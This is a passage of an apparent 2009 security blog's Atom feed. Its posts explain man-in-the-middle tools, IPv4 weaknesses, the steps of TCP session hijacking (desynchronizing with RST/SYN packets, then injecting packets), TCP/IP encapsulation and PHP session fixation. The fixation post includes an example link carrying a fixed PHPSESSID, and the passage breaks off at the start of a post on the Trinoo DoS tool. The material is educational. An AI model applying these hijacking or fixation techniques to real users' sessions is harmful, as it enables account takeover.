/&gt;&lt;/li&gt;&lt;li&gt;&lt;a target="_blank" href="http://sourceforge.net/projects/airjack/" class="external text" title="http://sourceforge.net/projects/airjack/" rel="nofollow"&gt;AirJack&lt;/a&gt; - A tool that demonstrates 802.11 based MITM attacks&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.wsniff.com/" class="external text" title="http://www.wsniff.com/" target="_blank" rel="nofollow"&gt;wsniff&lt;/a&gt; - A tool for 802.11 HTTP/HTTPS based MITM attacks&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-8985183102278034294?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/8985183102278034294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/man-in-middle-attack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8985183102278034294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8985183102278034294'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/man-in-middle-attack.html' title='Man in the Middle Attack'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6042659358713791893</id><published>2009-08-07T08:48:00.001-07:00</published><updated>2009-08-07T20:11:24.220-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><title type='text'>IPv4 - Security ??</title><content type='html'>&lt;span style="font-size:78%;"&gt;This post merely tries to explain the security issues and attacks involved in the use of IPv4 standard wrt &lt;a title="session hijacking -how it works" href="http://swizardb.blogspot.com/2009/08/session-hijacking-how-it-works.html"&gt;SESSION HIJACKING&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;The original IPv4 standard needed to address three basic security issues - authentication, integrity and privacy.&lt;/li&gt;&lt;li&gt;Authentication was an issue because an attacker could easily spoof an IP address and exploit a session.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Spoofing was not restricted to IP address alone, but also extended to MAC addresses in ARP spoofing.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;An attacker sniffing on a network could sniff packets and carry out simple attacks such as change, delete, reroute, add, forge or divert data. Perhaps the most popular among these attacks is the &lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/man-in-middle-attack.html"&gt;Man-In-the-Middle attack&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;An attacker can grab unencrypted traffic from a victim's network-based TCP application, further tampering with the authenticity and integrity of the data before forwarding it on to the unsuspecting target.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6042659358713791893?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6042659358713791893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/ipv4-security.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6042659358713791893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6042659358713791893'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/ipv4-security.html' title='IPv4 - Security ??'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5690065213985096874</id><published>2009-08-07T08:29:00.001-07:00</published><updated>2009-08-11T06:08:17.744-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Attacks'/><title type='text'>Session Hijacking - How it Works?</title><content type='html'>&lt;span style="font-size:85%;"&gt;Read the original post on&lt;/span&gt; &lt;a style="font-weight: bold;" title="SESSION HIJACKING" href="http://swizardb.blogspot.com/2009/08/session-hijacking-introduction.html"&gt;SESSION HIJACKING&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;To understand and fullly appreciate this post, please read&lt;/span&gt;&lt;br /&gt;&lt;ul style="text-decoration: none; color: rgb(0, 0, 0);"&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html#handshake"&gt;Understand the TCP/IP 3-way handshake&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0);" title="Understanding the TCP layers &amp;amp; working" href="http://swizardb.blogspot.com/2009/08/tcpip-layered-architecture.html"&gt;Understanding the TCP layers &amp;amp; working&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 0, 0);"&gt;&lt;a title="Understanding the security issues and attacks involved in the use of  IPv4 standard" href="http://swizardb.blogspot.com/2009/08/ipv4-security.html"&gt;Understanding the security issues and attacks involved in the use of  IPv4 standard&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Steps in Session Hijacking&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; - How it Works?&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Tracking the connection&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;The attacker uses a network sniffer to track the victim and host or identify a suitable user by scanning with a scanning tool such as &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/nmap.html" title="NMAP"&gt;NMap&lt;/a&gt; to find a target with a trivial TCP  &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="sequence numbers" href="http://swizardb.blogspot.com/2009/08/sequence-numbers.html"&gt;sequence numbers&lt;/a&gt; prediction. This is done to ensure that because the correct sequence and acknowledgement numbers are captured. These will later be used by the attacker in crafting his own packets.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Desynchronizing the connection&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;The connection can be desynchronized in many ways as described :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To desynchronize the connection between the target and host, the sequence number or the acknowledgement number (SEQ/ACK) of the server must be changed. This can be done if null data is sent to the server so that the server's SEQ/ACK numbers will advance; while the target machine will not register such an increment.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;The attacker sends a reset flag to the server and breaks the connection on the server side and create a new one with different  &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="sequence numbers" href="http://swizardb.blogspot.com/2009/08/sequence-numbers.html"&gt;sequence numbers&lt;/a&gt;. The attacker listens for a SYN/ACK packet from the server to the host. On detecting the packet, he sends an RST to the server and a SYN packet with a different sequence number. The server on receiving the RST packet, closes connection with the target, but initiates another one based on the SYN packet - with a different sequence number on the same port. Having opened a new connection, the server sends a SYN/ACK packet to the target for acknowledgement. The attacker detects (but does not intercept) this and sends back an ACK packet to the server. Now, the server is in the established state. The target is oblivious to the conversation and has already switched to the established state when it received the first SYN/ACK packet from the server. Now both server and target are in desynchronized but established state.&lt;br /&gt;&lt;br /&gt;This can also be done using a FIN flag, but this will cause the server to respond with an ACK and give away the attack through an ACK storm. This results due to a flaw in this method of hijacking a TCP connection. When receiving an unacceptable packet the host acknowledges it by sending the expected sequence number and using its own sequence number. This packet is itself unacceptable and will generate an acknowledgement packet which in turn will generate an acknowledgement packet, thereby creating a supposedly endless loop for every data packet sent. The mismatch in SEQ/ACK numbers results in excess network traffic with both the server and target trying to verify the right sequence. Since these packets do not carry data they are not retransmitted if the packet is lost. However, since TCP uses IP the loss of a single packet puts an end to the unwanted conversation between the server and target on the network.&lt;br /&gt;&lt;br /&gt;The desynchronizing stage is added in the hijack sequence so that the target host is kept in the dark about the attack. Without desynchronizing, the attacker will still be able to inject data to the server and even keep his identity by spoofing an IP address. However, he will have to put up with the server's response being relayed to the target host as well.&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Injecting the attacker's packet&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Now that the attacker has interrupted the connection between the server and target, he can choose to either inject data into the network or actively participate as the "&lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/man-in-middle-attack.html"&gt;man in the middle&lt;/a&gt;", and pass data from the target to the server, and vice versa, reading and injecting data as he sees fit.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5690065213985096874?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5690065213985096874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/session-hijacking-how-it-works.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5690065213985096874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5690065213985096874'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/session-hijacking-how-it-works.html' title='Session Hijacking - How it Works?'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7226423683966025753</id><published>2009-08-07T08:25:00.001-07:00</published><updated>2009-08-07T10:18:05.781-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><title type='text'>TCP/IP - Layered Architecture</title><content type='html'>&lt;div style="text-align: justify;"&gt;The &lt;a title="Transmission Control Protocol/Internet Protocol (TCP/IP)" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html"&gt;Transmission Control Protocol/Internet Protocol (TCP/IP)&lt;/a&gt; model describes a set of general design guidelines and implementations of specific networking protocols to enable computers to communicate over a network. Layers in the TCP/IP model :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;* 1 Network Interface (Physical) Layer :&lt;/span&gt; The layer is used to move packets between the Internet Layer interfaces of two different hosts over a physical medium such as a fiber cable or a wire.&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;* 2 Internet Layer :&lt;/span&gt;  Internet Protocol performs two basic functions: &lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;i&gt;Host addressing and identification&lt;/i&gt;: Each host is assigned a valid Internet Protocol Address which is 32-bits long such as 202.144.216.219&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Packet routing&lt;/i&gt;: This is the basic task of getting packets of data (datagrams) from source to destination by sending them to the next network node (router) closer to the final destination.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;* 3 Transport Layer :&lt;/span&gt; The layer's responsibilities include end-to-end message transfer capabilities independent of the underlying network, along with error control, flow control, congestion control (avoiding huge data on a particular single route/channel), and application addressing (port numbers).&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;* 4 Application Layer : &lt;/span&gt;The Application Layer refers to the higher-level protocols used by most applications for network communication. Examples of application layer protocols include the  File Transfer Protocol (FTP) and the Hyper Text Transmission Protocol (HTTP).&lt;a href="http://en.wikipedia.org/wiki/TCP/IP_model#cite_note-9"&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.ml-ip.com/assets/images/tcpip-layers.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 345px; height: 238px;" src="http://www.ml-ip.com/assets/images/tcpip-layers.gif" alt="TCP/IP LAYERS" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a id="encapsulation" title="encapsulation"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;ENCAPSULATION :&lt;/span&gt;&lt;span class="newbody"&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span class="newbody"&gt;In TCP/IP, as data is being sent from one computer, it will pass from the top layer to the bottom.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="newbody"&gt;On the receiving end, the data will then be rebuilt from the bottom layer to the top. You can view an example of this process below.&lt;/span&gt;&lt;span class="newbody"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;u&gt;&lt;span style="font-style: italic;" class="newbody"&gt;Each layer a packet of information travels through adds what is called a header. &lt;/span&gt;&lt;/u&gt;Each layer a sending packet passes through gains another header.&lt;/li&gt;&lt;li&gt;When the packet is being rebuilt on the receiving end, each header is unpackaged the same way.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;EXAMPLE :&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Your browser works at the &lt;span style="font-weight: bold;"&gt;application layer&lt;/span&gt; and accepts the initial datagram, say a web page to be sent across the Internet and &lt;span style="font-style: italic;"&gt;adds the appropriate header&lt;/span&gt; describing the protocol used. &lt;/li&gt;&lt;li&gt;The&lt;span style="font-weight: bold;"&gt; transport layer&lt;/span&gt; protocol and the &lt;span style="font-style: italic;"&gt;appropriate protocol header is added to the datagram&lt;/span&gt;. This controls many of the aspects in the management and initiation of communication between the two hosts.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;In the &lt;span style="font-weight: bold;"&gt;network layer&lt;/span&gt;, routers offer the functionality for the datagram to hop from source to the destination, one hop at a time. This also sees the&lt;span style="font-style: italic;"&gt; IP header being added to the datagram&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;The &lt;span style="font-weight: bold;"&gt;physical layer&lt;/span&gt; is responsible for the delivery of signals from the source to the destination over a physical communication platform, which in this case is the Ethernet, and the &lt;span style="font-style: italic;"&gt;header describing the Ethernet Protocol information is added&lt;/span&gt; to the Data Unit.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.learn-networking.com/wp-content/oldimages/tcp-ip-encapsulation.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 336px; height: 244px;" src="http://www.learn-networking.com/wp-content/oldimages/tcp-ip-encapsulation.jpg" alt="tcp-ip-encapsulation" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Putting it All Together - The Data Encapsulation Process&lt;/strong&gt;&lt;br /&gt;&lt;hr /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt; &lt;strong&gt;1.&lt;/strong&gt; One computer requests to send data to another over a network.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;2.&lt;/strong&gt; The data message flows through the Application Layer by using a TCP or UDP port to pass onto the internet layer.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;3.&lt;/strong&gt; The data segment obtains logical addressing at the Internet Layer via the IP protocol, and the data is then encapsulated into a datagram.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;4.&lt;/strong&gt; The datagram enters the Network Access Layer, where software will interface with the physical network. A data frame encapsulates the datagram for entry onto the physical network. At the end of the process, the frame is converted to a stream of bits that is then transmitted to the receiving computer.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;5.&lt;/strong&gt; The receiving computer removes the frame, and passes the packet onto the Internet Layer. The Internet Layer will then remove the header information and send the data to the Transport layer. Likewise, the Transport layer removes header information and passes data to the final layer. At this final layer the data is whole again, and can be read by the receiving computer if no errors are present.&lt;/li&gt;&lt;/ul&gt;&lt;hr /&gt;And there you have it: encapsulation at its finest.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7226423683966025753?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7226423683966025753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/tcpip-layered-architecture.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7226423683966025753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7226423683966025753'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/tcpip-layered-architecture.html' title='TCP/IP - Layered Architecture'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5179035167859924358</id><published>2009-08-07T04:06:00.000-07:00</published><updated>2009-08-07T08:12:34.345-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Attacks'/><title type='text'>Session Fixation</title><content type='html'>&lt;p style="text-align: center;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;SESSION FIXATION&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;a title="Click on the image to view an enlarged image!!" href="http://ferdous.files.wordpress.com/2008/12/session.png"&gt;&lt;img style="width: 336px; height: 251px;" class="aligncenter size-full wp-image-92" title="Session Attack" src="http://ferdous.files.wordpress.com/2008/12/session.png?w=480&amp;amp;h=360" alt="Session Attack" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="text-align: center;"&gt;&lt;strong&gt;&lt;span style="font-weight: normal;font-size:78%;" &gt;Fig. SESSION FIXATION. Click to Enlarge&lt;/span&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;strong&gt;Session Fixation:&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;Whenever a visitor ﬁrst visit a page in your application that calls session_start(), then a session is created for the user. PHP generates a random session identiﬁer to identify the user (you can see this identifier by using session_id()) which is also known as &lt;strong&gt;session token&lt;/strong&gt;, and then it sends a Set-Cookie header to the client. By default, the name of this cookie is PHPSESSID, but you can change the cookie name in php.ini or by using the session_name() function. On subsequent visits, the client identiﬁes the user with the cookie, and this is how the application maintains state.&lt;br /&gt;&lt;br /&gt;It is possible to set the session identiﬁer manually through the query string, forcing the use of a particular session. This simple attack is called &lt;strong&gt;session ﬁxation&lt;/strong&gt; because the attacker ﬁxes the session. This is most commonly achieved by creating a link to your application and appending the session identiﬁer that the attacker wishes to give any user clicking the link.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;a href="http://yoursite.com/index.php?PHPSESSID=123456"&amp;gt;Fix the session&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;By clicking the above link an would be attacker could get access the protected user’s login credentials and so on. If the user logs in while using the provided session identiﬁer, the attacker may be able to &lt;strong&gt;ride&lt;/strong&gt; on the same session and gain access to the user’s account. This is why session ﬁxation is sometimes referred to as &lt;strong&gt;session riding&lt;/strong&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5179035167859924358?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5179035167859924358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/session-fixation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5179035167859924358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5179035167859924358'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/session-fixation.html' title='Session Fixation'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6581103631095103915</id><published>2009-08-07T03:57:00.001-07:00</published><updated>2009-08-11T06:02:29.043-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Attacks'/><title type='text'>Session Hijacking - Introduction</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a title="What is a Session?" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/what-is-session.html"&gt;Session&lt;/a&gt; hijacking is when a hacker takes control of a user session after the user has successfully authenticated with a server. Session hijacking involves an attack identifying the current session IDs of a client/server communication and taking over the client’s session. Session hijacking is made possible by tools that perform &lt;span style="font-weight: bold;"&gt; &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="sequence numbers" href="http://swizardb.blogspot.com/2009/08/sequence-numbers.html"&gt;sequence numbers&lt;/a&gt; prediction&lt;/span&gt;.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.owasp.org/images/c/cb/Session_Hijacking_3.JPG"&gt;&lt;img title="SESSION HIJACKING" src="http://www.owasp.org/images/c/cb/Session_Hijacking_3.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;Fig. SESSION HIJACKING . Click to Enlarge&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:130%;"&gt;&lt;a style="text-decoration: none; color: rgb(0, 0, 0); font-weight: bold;" title="SESSION HIJACKING - Detailed Explanation -How it Works?" href="http://swizardb.blogspot.com/2009/08/session-hijacking-how-it-works.html"&gt;SESSION HIJACKING - Detailed Explanation -How it Works?&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tools :&lt;/span&gt;  Juggernaut,  Hunt,  TTY Watcher,  IP Watcher,  T-Sight&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Download the session (8.1 MB) in MP3 format:&lt;br /&gt;&lt;center&gt;&lt;a href="javascript:void();" onclick="location.href='http://www.net-security.org/dl/audio/HNS-Session_Hijacking.mp3';return false;"&gt;&lt;img src="http://www.net-security.org/images/articles/mp3.gif" align="center" border="0" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6581103631095103915?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6581103631095103915/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/session-hijacking-introduction.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6581103631095103915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6581103631095103915'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/session-hijacking-introduction.html' title='Session Hijacking - Introduction'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-9061537646038135894</id><published>2009-08-07T03:33:00.000-07:00</published><updated>2009-08-07T04:12:57.923-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Attacks'/><title type='text'>What is Session?</title><content type='html'>&lt;p style="text-align: justify;"&gt;&lt;strong&gt;What is Session?&lt;/strong&gt;&lt;/p&gt;&lt;p style="text-align: justify;"&gt;&lt;strong&gt;HTTP&lt;/strong&gt; is known as a stateless protocol. which means that the webserver does not care multiple requests come from the same user. In other words you can say that HTTP don’t remember anything when the execution is finished. After a &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html#handshake"&gt;TCP/IP three-way handshake&lt;/a&gt; is completed, a session is created which is used to create a state in between requests even when they occur after weeks from each other.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Sessions are maintained by passing a unique session identiﬁer between requests typically in a cookie (which usually resides in webserver’s file system). Session can also be passed in forms and query arguments. PHP handles sessions transparently through a combination of cookies and URL rewriting, when &lt;strong&gt;session.use_trans_sid&lt;/strong&gt; is turned on in php.ini (it is off by default in PHP5) by generating a unique session ID and using it track a local data store (by default, a ﬁle in the system’s temporary directory in my case /tmp/) where session data is saved at the end of every request.&lt;/p&gt; &lt;p style="text-align: justify;"&gt;&lt;strong&gt;Caution:&lt;/strong&gt; session_start() must be called before any output is sent to the browser, because it will try to set a cookie by sending a response header.&lt;span id="more-91"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="text-align: justify;"&gt;&lt;strong&gt;Session Security&lt;/strong&gt;&lt;br /&gt;Most of the other attacks like XSS, CSRF etc could be prevented by ﬁltering input and escaping output, but session attacks cannot. Rather it is necessary to plan for them and identify potential problem areas of your application.&lt;/p&gt;&lt;p style="text-align: justify;"&gt;Two notorious forms of session attacks are &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/session-fixation.html" title="Session Fixation"&gt;session ﬁxation&lt;/a&gt; and &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/session-hijacking-introduction.html" title="Session Hijacking"&gt;session hijacking&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-9061537646038135894?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/9061537646038135894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/what-is-session.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/9061537646038135894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/9061537646038135894'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/what-is-session.html' title='What is Session?'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-685748824537358660</id><published>2009-08-07T02:39:00.000-07:00</published><updated>2009-08-13T03:25:07.905-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>USING TRINOO</title><content type='html'>&lt;div style="text-align: 